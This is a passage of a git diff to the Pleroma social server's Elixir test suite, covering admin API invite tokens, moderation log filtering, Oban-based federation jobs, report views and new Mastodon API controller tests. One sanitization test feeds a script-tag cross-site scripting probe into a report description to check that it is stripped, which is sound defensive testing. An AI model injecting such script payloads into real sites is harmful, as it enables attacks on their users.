%{user: user}) -      info = Map.put(user.info, :hide_follows, true) +      info = Map.merge(user.info, %{hide_follows_count: true, hide_follows: true})        user = Map.put(user, :info, info)        assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})      end + +    test "sets correct totalItems when follows are hidden but the follow counter is not" do +      user = insert(:user) +      other_user = insert(:user) +      {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) +      assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) +      info = Map.merge(user.info, %{hide_follows_count: false, hide_follows: true}) +      user = Map.put(user, :info, info) +      assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) +    end +  end + +  test "activity collection page aginates correctly" do +    user = insert(:user) + +    posts = +      for i <- 0..25 do +        {:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"}) +        activity +      end + +    # outbox sorts chronologically, newest first, with ten per page +    posts = Enum.reverse(posts) + +    %{"next" => next_url} = +      UserView.render("activity_collection_page.json", %{ +        iri: "#{user.ap_id}/outbox", +        activities: Enum.take(posts, 10) +      }) + +    next_id = Enum.at(posts, 9).id +    assert next_url =~ next_id + +    %{"next" => next_url} = +      UserView.render("activity_collection_page.json", %{ +        iri: "#{user.ap_id}/outbox", +        activities: Enum.take(Enum.drop(posts, 10), 10) +      }) + +    next_id = Enum.at(posts, 19).id +    assert next_url =~ next_id    end  end diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs index 3b6d75a4c..b5c355e66 100644 --- a/test/web/admin_api/admin_api_controller_test.exs +++ b/test/web/admin_api/admin_api_controller_test.exs @@ -1,14 +1,16 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do    use Pleroma.Web.ConnCase +  use Oban.Testing, repo: Pleroma.Repo    alias Pleroma.Activity    alias Pleroma.HTML    alias Pleroma.ModerationLog    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.UserInviteToken    alias Pleroma.Web.CommonAPI @@ -574,18 +576,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do      end    end -  test "/api/pleroma/admin/users/invite_token" do -    admin = insert(:user, info: %{is_admin: true}) - -    conn = -      build_conn() -      |> assign(:user, admin) -      |> put_req_header("accept", "application/json") -      |> get("/api/pleroma/admin/users/invite_token") - -    assert conn.status == 200 -  end -    test "/api/pleroma/admin/users/:nickname/password_reset" do      admin = insert(:user, info: %{is_admin: true})      user = insert(:user) @@ -596,7 +586,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        |> put_req_header("accept", "application/json")        |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") -    assert conn.status == 200 +    resp = json_response(conn, 200) + +    assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])    end    describe "GET /api/pleroma/admin/users" do @@ -1064,7 +1056,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do               "@#{admin.nickname} deactivated user @#{user.nickname}"    end -  describe "GET /api/pleroma/admin/users/invite_token" do +  describe "POST /api/pleroma/admin/users/invite_token" do      setup do        admin = insert(:user, info: %{is_admin: true}) @@ -1076,10 +1068,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do      end      test "without options", %{conn: conn} do -      conn = get(conn, "/api/pleroma/admin/users/invite_token") +      conn = post(conn, "/api/pleroma/admin/users/invite_token") -      token = json_response(conn, 200) -      invite = UserInviteToken.find_by_token!(token) +      invite_json = json_response(conn, 200) +      invite = UserInviteToken.find_by_token!(invite_json["token"])        refute invite.used        refute invite.expires_at        refute invite.max_use @@ -1088,12 +1080,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do      test "with expires_at", %{conn: conn} do        conn = -        get(conn, "/api/pleroma/admin/users/invite_token", %{ -          "invite" => %{"expires_at" => Date.to_string(Date.utc_today())} +        post(conn, "/api/pleroma/admin/users/invite_token", %{ +          "expires_at" => Date.to_string(Date.utc_today())          }) -      token = json_response(conn, 200) -      invite = UserInviteToken.find_by_token!(token) +      invite_json = json_response(conn, 200) +      invite = UserInviteToken.find_by_token!(invite_json["token"])        refute invite.used        assert invite.expires_at == Date.utc_today() @@ -1102,13 +1094,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do      end      test "with max_use", %{conn: conn} do -      conn = -        get(conn, "/api/pleroma/admin/users/invite_token", %{ -          "invite" => %{"max_use" => 150} -        }) +      conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150}) -      token = json_response(conn, 200) -      invite = UserInviteToken.find_by_token!(token) +      invite_json = json_response(conn, 200) +      invite = UserInviteToken.find_by_token!(invite_json["token"])        refute invite.used        refute invite.expires_at        assert invite.max_use == 150 @@ -1117,12 +1106,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do      test "with max use and expires_at", %{conn: conn} do        conn = -        get(conn, "/api/pleroma/admin/users/invite_token", %{ -          "invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())} +        post(conn, "/api/pleroma/admin/users/invite_token", %{ +          "max_use" => 150, +          "expires_at" => Date.to_string(Date.utc_today())          }) -      token = json_response(conn, 200) -      invite = UserInviteToken.find_by_token!(token) +      invite_json = json_response(conn, 200) +      invite = UserInviteToken.find_by_token!(invite_json["token"])        refute invite.used        assert invite.expires_at == Date.utc_today()        assert invite.max_use == 150 @@ -1309,6 +1299,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do          |> json_response(:ok)        assert Enum.empty?(response["reports"]) +      assert response["total"] == 0      end      test "returns reports", %{conn: conn} do @@ -1331,6 +1322,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        assert length(response["reports"]) == 1        assert report["id"] == report_id + +      assert response["total"] == 1      end      test "returns reports with specified state", %{conn: conn} do @@ -1364,6 +1357,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        assert length(response["reports"]) == 1        assert open_report["id"] == first_report_id +      assert response["total"] == 1 +        response =          conn          |> get("/api/pleroma/admin/reports", %{ @@ -1376,6 +1371,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        assert length(response["reports"]) == 1        assert closed_report["id"] == second_report_id +      assert response["total"] == 1 +        response =          conn          |> get("/api/pleroma/admin/reports", %{ @@ -1384,6 +1381,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do          |> json_response(:ok)        assert Enum.empty?(response["reports"]) +      assert response["total"] == 0      end      test "returns 403 when requested by a non-admin" do @@ -2096,7 +2094,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do          post(conn, "/api/pleroma/admin/config", %{            configs: [              %{ -              "group" => "pleroma_job_queue", +              "group" => "oban",                "key" => ":queues",                "value" => [                  %{"tuple" => [":federator_incoming", 50]}, @@ -2114,7 +2112,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        assert json_response(conn, 200) == %{                 "configs" => [                   %{ -                   "group" => "pleroma_job_queue", +                   "group" => "oban",                     "key" => ":queues",                     "value" => [                       %{"tuple" => [":federator_incoming", 50]}, @@ -2259,8 +2257,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do    describe "GET /api/pleroma/admin/moderation_log" do      setup %{conn: conn} do        admin = insert(:user, info: %{is_admin: true}) +      moderator = insert(:user, info: %{is_moderator: true}) -      %{conn: assign(conn, :user, admin), admin: admin} +      %{conn: assign(conn, :user, admin), admin: admin, moderator: moderator}      end      test "returns the log", %{conn: conn, admin: admin} do @@ -2293,9 +2292,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        conn = get(conn, "/api/pleroma/admin/moderation_log")        response = json_response(conn, 200) -      [first_entry, second_entry] = response +      [first_entry, second_entry] = response["items"] -      assert response |> length() == 2 +      assert response["total"] == 2        assert first_entry["data"]["action"] == "relay_unfollow"        assert first_entry["message"] == @@ -2337,9 +2336,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1")        response1 = json_response(conn1, 200) -      [first_entry] = response1 +      [first_entry] = response1["items"] -      assert response1 |> length() == 1 +      assert response1["total"] == 2 +      assert response1["items"] |> length() == 1        assert first_entry["data"]["action"] == "relay_unfollow"        assert first_entry["message"] == @@ -2348,14 +2348,143 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do        conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2")        response2 = json_response(conn2, 200) -      [second_entry] = response2 +      [second_entry] = response2["items"] -      assert response2 |> length() == 1 +      assert response2["total"] == 2 +      assert response2["items"] |> length() == 1        assert second_entry["data"]["action"] == "relay_follow"        assert second_entry["message"] ==                 "@#{admin.nickname} followed relay: https://example.org/relay"      end + +    test "filters log by date", %{conn: conn, admin: admin} do +      first_date = "2017-08-15T15:47:06Z" +      second_date = "2017-08-20T15:47:06Z" + +      Repo.insert(%ModerationLog{ +        data: %{ +          actor: %{ +            "id" => admin.id, +            "nickname" => admin.nickname, +            "type" => "user" +          }, +          action: "relay_follow", +          target: "https://example.org/relay" +        }, +        inserted_at: NaiveDateTime.from_iso8601!(first_date) +      }) + +      Repo.insert(%ModerationLog{ +        data: %{ +          actor: %{ +            "id" => admin.id, +            "nickname" => admin.nickname, +            "type" => "user" +          }, +          action: "relay_unfollow", +          target: "https://example.org/relay" +        }, +        inserted_at: NaiveDateTime.from_iso8601!(second_date) +      }) + +      conn1 = +        get( +          conn, +          "/api/pleroma/admin/moderation_log?start_date=#{second_date}" +        ) + +      response1 = json_response(conn1, 200) +      [first_entry] = response1["items"] + +      assert response1["total"] == 1 +      assert first_entry["data"]["action"] == "relay_unfollow" + +      assert first_entry["message"] == +               "@#{admin.nickname} unfollowed relay: https://example.org/relay" +    end + +    test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do +      Repo.insert(%ModerationLog{ +        data: %{ +          actor: %{ +            "id" => admin.id, +            "nickname" => admin.nickname, +            "type" => "user" +          }, +          action: "relay_follow", +          target: "https://example.org/relay" +        } +      }) + +      Repo.insert(%ModerationLog{ +        data: %{ +          actor: %{ +            "id" => moderator.id, +            "nickname" => moderator.nickname, +            "type" => "user" +          }, +          action: "relay_unfollow", +          target: "https://example.org/relay" +        } +      }) + +      conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") + +      response1 = json_response(conn1, 200) +      [first_entry] = response1["items"] + +      assert response1["total"] == 1 +      assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id +    end + +    test "returns log filtered by search", %{conn: conn, moderator: moderator} do +      ModerationLog.insert_log(%{ +        actor: moderator, +        action: "relay_follow", +        target: "https://example.org/relay" +      }) + +      ModerationLog.insert_log(%{ +        actor: moderator, +        action: "relay_unfollow", +        target: "https://example.org/relay" +      }) + +      conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") + +      response1 = json_response(conn1, 200) +      [first_entry] = response1["items"] + +      assert response1["total"] == 1 + +      assert get_in(first_entry, ["data", "message"]) == +               "@#{moderator.nickname} unfollowed relay: https://example.org/relay" +    end +  end + +  describe "PATCH /users/:nickname/force_password_reset" do +    setup %{conn: conn} do +      admin = insert(:user, info: %{is_admin: true}) +      user = insert(:user) + +      %{conn: assign(conn, :user, admin), admin: admin, user: user} +    end + +    test "sets password_reset_pending to true", %{admin: admin, user: user} do +      assert user.info.password_reset_pending == false + +      conn = +        build_conn() +        |> assign(:user, admin) +        |> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset") + +      assert json_response(conn, 204) == "" + +      ObanHelpers.perform_all() + +      assert User.get_by_id(user.id).info.password_reset_pending == true +    end    end  end diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs index 501a8d007..9df4cd539 100644 --- a/test/web/admin_api/search_test.exs +++ b/test/web/admin_api/search_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.AdminAPI.SearchTest do diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs index a00c9c579..35b6947a0 100644 --- a/test/web/admin_api/views/report_view_test.exs +++ b/test/web/admin_api/views/report_view_test.exs @@ -5,6 +5,7 @@  defmodule Pleroma.Web.AdminAPI.ReportViewTest do    use Pleroma.DataCase    import Pleroma.Factory +  alias Pleroma.Web.AdminAPI.Report    alias Pleroma.Web.AdminAPI.ReportView    alias Pleroma.Web.CommonAPI    alias Pleroma.Web.MastodonAPI.AccountView @@ -34,7 +35,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      }      result = -      ReportView.render("show.json", %{report: activity}) +      ReportView.render("show.json", Report.extract_report_info(activity))        |> Map.delete(:created_at)      assert result == expected @@ -60,13 +61,13 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do            AccountView.render("account.json", %{user: other_user}),            Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})          ), -      statuses: [StatusView.render("status.json", %{activity: activity})], +      statuses: [StatusView.render("show.json", %{activity: activity})],        state: "open",        id: report_activity.id      }      result = -      ReportView.render("show.json", %{report: report_activity}) +      ReportView.render("show.json", Report.extract_report_info(report_activity))        |> Map.delete(:created_at)      assert result == expected @@ -78,7 +79,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      {:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})      {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") -    assert %{state: "closed"} = ReportView.render("show.json", %{report: activity}) + +    assert %{state: "closed"} = +             ReportView.render("show.json", Report.extract_report_info(activity))    end    test "renders report description" do @@ -92,7 +95,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do        })      assert %{content: "posts are too good for this instance"} = -             ReportView.render("show.json", %{report: activity}) +             ReportView.render("show.json", Report.extract_report_info(activity))    end    test "sanitizes report description" do @@ -109,7 +112,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      activity = Map.put(activity, :data, data)      refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" == -             ReportView.render("show.json", %{report: activity})[:content] +             ReportView.render("show.json", Report.extract_report_info(activity))[:content]    end    test "doesn't error out when the user doesn't exists" do @@ -125,6 +128,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      Pleroma.User.delete(other_user)      Pleroma.User.invalidate_cache(other_user) -    assert %{} = ReportView.render("show.json", %{report: activity}) +    assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))    end  end diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 7cb1202fc..011fcfca9 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -524,4 +524,43 @@ defmodule Pleroma.Web.CommonAPITest do        assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1])      end    end + +  describe "listen/2" do +    test "returns a valid activity" do +      user = insert(:user) + +      {:ok, activity} = +        CommonAPI.listen(user, %{ +          "title" => "lain radio episode 1", +          "album" => "lain radio", +          "artist" => "lain", +          "length" => 180_000 +        }) + +      object = Object.normalize(activity) + +      assert object.data["title"] == "lain radio episode 1" + +      assert Visibility.get_visibility(activity) == "public" +    end + +    test "respects visibility=private" do +      user = insert(:user) + +      {:ok, activity} = +        CommonAPI.listen(user, %{ +          "title" => "lain radio episode 1", +          "album" => "lain radio", +          "artist" => "lain", +          "length" => 180_000, +          "visibility" => "private" +        }) + +      object = Object.normalize(activity) + +      assert object.data["title"] == "lain radio episode 1" + +      assert Visibility.get_visibility(activity) == "private" +    end +  end  end diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs index c281dd1f1..2588898d0 100644 --- a/test/web/common_api/common_api_utils_test.exs +++ b/test/web/common_api/common_api_utils_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.CommonAPI.UtilsTest do @@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do        text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"        expected = -        "<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{ +        ~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{            user.id -        }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{ +        }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{            user.id -        }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n" +        }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)        {output, _, _} = Utils.format_input(text, "text/markdown") diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs index 09e54533f..43a715706 100644 --- a/test/web/federator_test.exs +++ b/test/web/federator_test.exs @@ -1,12 +1,17 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.FederatorTest do    alias Pleroma.Instances +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.Web.CommonAPI    alias Pleroma.Web.Federator +  alias Pleroma.Workers.PublisherWorker +    use Pleroma.DataCase +  use Oban.Testing, repo: Pleroma.Repo +    import Pleroma.Factory    import Mock @@ -24,15 +29,6 @@ defmodule Pleroma.Web.FederatorTest do    clear_config([:instance, :rewrite_policy])    clear_config([:mrf_keyword]) -  describe "Publisher.perform" do -    test "call `perform` with unknown task" do -      assert { -               :error, -               "Don't know what to do with this" -             } = Pleroma.Web.Federator.Publisher.perform("test", :ok, :ok) -    end -  end -    describe "Publish an activity" do      setup do        user = insert(:user) @@ -53,6 +49,7 @@ defmodule Pleroma.Web.FederatorTest do      } do        with_mocks([relay_mock]) do          Federator.publish(activity) +        ObanHelpers.perform(all_enqueued(worker: PublisherWorker))        end        assert_received :relay_publish @@ -66,6 +63,7 @@ defmodule Pleroma.Web.FederatorTest do        with_mocks([relay_mock]) do          Federator.publish(activity) +        ObanHelpers.perform(all_enqueued(worker: PublisherWorker))        end        refute_received :relay_publish @@ -73,10 +71,7 @@ defmodule Pleroma.Web.FederatorTest do    end    describe "Targets reachability filtering in `publish`" do -    test_with_mock "it federates only to reachable instances via AP", -                   Pleroma.Web.ActivityPub.Publisher, -                   [:passthrough], -                   [] do +    test "it federates only to reachable instances via AP" do        user = insert(:user)        {inbox1, inbox2} = @@ -104,20 +99,20 @@ defmodule Pleroma.Web.FederatorTest do        {:ok, _activity} =          CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"}) -      assert called( -               Pleroma.Web.ActivityPub.Publisher.publish_one(%{ -                 inbox: inbox1, -                 unreachable_since: dt -               }) -             ) +      expected_dt = NaiveDateTime.to_iso8601(dt) -      refute called(Pleroma.Web.ActivityPub.Publisher.publish_one(%{inbox: inbox2})) +      ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + +      assert ObanHelpers.member?( +               %{ +                 "op" => "publish_one", +                 "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt} +               }, +               all_enqueued(worker: PublisherWorker) +             )      end -    test_with_mock "it federates only to reachable instances via Websub", -                   Pleroma.Web.Websub, -                   [:passthrough], -                   [] do +    test "it federates only to reachable instances via Websub" do        user = insert(:user)        websub_topic = Pleroma.Web.OStatus.feed_path(user) @@ -142,23 +137,27 @@ defmodule Pleroma.Web.FederatorTest do        {:ok, _activity} = CommonAPI.post(user, %{"status" => "HI"}) -      assert called( -               Pleroma.Web.Websub.publish_one(%{ -                 callback: sub2.callback, -                 unreachable_since: dt -               }) -             ) +      expected_callback = sub2.callback +      expected_dt = NaiveDateTime.to_iso8601(dt) + +      ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) -      refute called(Pleroma.Web.Websub.publish_one(%{callback: sub1.callback})) +      assert ObanHelpers.member?( +               %{ +                 "op" => "publish_one", +                 "params" => %{ +                   "callback" => expected_callback, +                   "unreachable_since" => expected_dt +                 } +               }, +               all_enqueued(worker: PublisherWorker) +             )      end -    test_with_mock "it federates only to reachable instances via Salmon", -                   Pleroma.Web.Salmon, -                   [:passthrough], -                   [] do +    test "it federates only to reachable instances via Salmon" do        user = insert(:user) -      remote_user1 = +      _remote_user1 =          insert(:user, %{            local: false,            nickname: "nick1@domain.com", @@ -174,6 +173,8 @@ defmodule Pleroma.Web.FederatorTest do            info: %{salmon: "https://domain2.com/salmon"}          }) +      remote_user2_id = remote_user2.id +        dt = NaiveDateTime.utc_now()        Instances.set_unreachable(remote_user2.ap_id, dt) @@ -182,14 +183,20 @@ defmodule Pleroma.Web.FederatorTest do        {:ok, _activity} =          CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"}) -      assert called( -               Pleroma.Web.Salmon.publish_one(%{ -                 recipient: remote_user2, -                 unreachable_since: dt -               }) -             ) +      expected_dt = NaiveDateTime.to_iso8601(dt) + +      ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) -      refute called(Pleroma.Web.Salmon.publish_one(%{recipient: remote_user1})) +      assert ObanHelpers.member?( +               %{ +                 "op" => "publish_one", +                 "params" => %{ +                   "recipient_id" => remote_user2_id, +                   "unreachable_since" => expected_dt +                 } +               }, +               all_enqueued(worker: PublisherWorker) +             )      end    end @@ -209,7 +216,8 @@ defmodule Pleroma.Web.FederatorTest do          "to" => ["https://www.w3.org/ns/activitystreams#Public"]        } -      {:ok, _activity} = Federator.incoming_ap_doc(params) +      assert {:ok, job} = Federator.incoming_ap_doc(params) +      assert {:ok, _activity} = ObanHelpers.perform(job)      end      test "rejects incoming AP docs with incorrect origin" do @@ -227,7 +235,8 @@ defmodule Pleroma.Web.FederatorTest do          "to" => ["https://www.w3.org/ns/activitystreams#Public"]        } -      :error = Federator.incoming_ap_doc(params) +      assert {:ok, job} = Federator.incoming_ap_doc(params) +      assert :error = ObanHelpers.perform(job)      end      test "it does not crash if MRF rejects the post" do @@ -242,7 +251,8 @@ defmodule Pleroma.Web.FederatorTest do          File.read!("test/fixtures/mastodon-post-activity.json")          |> Poison.decode!() -      assert Federator.incoming_ap_doc(params) == :error +      assert {:ok, job} = Federator.incoming_ap_doc(params) +      assert :error = ObanHelpers.perform(job)      end    end  end diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index 3fd011fd3..e54d708ad 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Instances.InstanceTest do @@ -16,7 +16,8 @@ defmodule Pleroma.Instances.InstanceTest do    describe "set_reachable/1" do      test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do -      instance = insert(:instance, unreachable_since: NaiveDateTime.utc_now()) +      unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now()) +      instance = insert(:instance, unreachable_since: unreachable_since)        assert {:ok, instance} = Instance.set_reachable(instance.host)        refute instance.unreachable_since diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs index dea8e2aea..65b03b155 100644 --- a/test/web/instances/instances_test.exs +++ b/test/web/instances/instances_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.InstancesTest do diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..7117fc76a --- /dev/null +++ b/test/web/mastodon_api/controllers/conversation_controller_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do +  use Pleroma.Web.ConnCase + +  alias Pleroma.User +  alias Pleroma.Web.CommonAPI + +  import Pleroma.Factory + +  test "Conversations", %{conn: conn} do +    user_one = insert(:user) +    user_two = insert(:user) +    user_three = insert(:user) + +    {:ok, user_two} = User.follow(user_two, user_one) + +    {:ok, direct} = +      CommonAPI.post(user_one, %{ +        "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!", +        "visibility" => "direct" +      }) + +    {:ok, _follower_only} = +      CommonAPI.post(user_one, %{ +        "status" => "Hi @#{user_two.nickname}!", +        "visibility" => "private" +      }) + +    res_conn = +      conn +      |> assign(:user, user_one) +      |> get("/api/v1/conversations") + +    assert response = json_response(res_conn, 200) + +    assert [ +             %{ +               "id" => res_id, +               "accounts" => res_accounts, +               "last_status" => res_last_status, +               "unread" => unread +             } +           ] = response + +    account_ids = Enum.map(res_accounts, & &1["id"]) +    assert length(res_accounts) == 2 +    assert user_two.id in account_ids +    assert user_three.id in account_ids +    assert is_binary(res_id) +    assert unread == true +    assert res_last_status["id"] == direct.id + +    # Apparently undocumented API endpoint +    res_conn = +      conn +      |> assign(:user, user_one) +      |> post("/api/v1/conversations/#{res_id}/read") + +    assert response = json_response(res_conn, 200) +    assert length(response["accounts"]) == 2 +    assert response["last_status"]["id"] == direct.id +    assert response["unread"] == false + +    # (vanilla) Mastodon frontend behaviour +    res_conn = +      conn +      |> assign(:user, user_one) +      |> get("/api/v1/statuses/#{res_last_status["id"]}/context") + +    assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) +  end +end diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs new file mode 100644 index 000000000..3c3558385 --- /dev/null +++ b/test/web/mastodon_api/controllers/domain_block_controller_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do +  use Pleroma.Web.ConnCase, async: true + +  alias Pleroma.User + +  import Pleroma.Factory + +  test "blocking / unblocking a domain", %{conn: conn} do +    user = insert(:user) +    other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + +    conn = +      conn +      |> assign(:user, user) +      |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + +    assert %{} = json_response(conn, 200) +    user = User.get_cached_by_ap_id(user.ap_id) +    assert User.blocks?(user, other_user) + +    conn = +      build_conn() +      |> assign(:user, user) +      |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + +    assert %{} = json_response(conn, 200) +    user = User.get_cached_by_ap_id(user.ap_id) +    refute User.blocks?(user, other_user) +  end + +  test "getting a list of domain blocks", %{conn: conn} do +    user = insert(:user) + +    {:ok, user} = User.block_domain(user, "bad.site") +    {:ok, user} = User.block_domain(user, "even.worse.site") + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/domain_blocks") + +    domain_blocks = json_response(conn, 200) + +    assert "bad.site" in domain_blocks +    assert "even.worse.site" in domain_blocks +  end +end diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs new file mode 100644 index 000000000..5d5b56c8e --- /dev/null +++ b/test/web/mastodon_api/controllers/filter_controller_test.exs @@ -0,0 +1,137 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do +  use Pleroma.Web.ConnCase, async: true + +  alias Pleroma.Web.MastodonAPI.FilterView + +  import Pleroma.Factory + +  test "creating a filter", %{conn: conn} do +    user = insert(:user) + +    filter = %Pleroma.Filter{ +      phrase: "knights", +      context: ["home"] +    } + +    conn = +      conn +      |> assign(:user, user) +      |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) + +    assert response = json_response(conn, 200) +    assert response["phrase"] == filter.phrase +    assert response["context"] == filter.context +    assert response["irreversible"] == false +    assert response["id"] != nil +    assert response["id"] != "" +  end + +  test "fetching a list of filters", %{conn: conn} do +    user = insert(:user) + +    query_one = %Pleroma.Filter{ +      user_id: user.id, +      filter_id: 1, +      phrase: "knights", +      context: ["home"] +    } + +    query_two = %Pleroma.Filter{ +      user_id: user.id, +      filter_id: 2, +      phrase: "who", +      context: ["home"] +    } + +    {:ok, filter_one} = Pleroma.Filter.create(query_one) +    {:ok, filter_two} = Pleroma.Filter.create(query_two) + +    response = +      conn +      |> 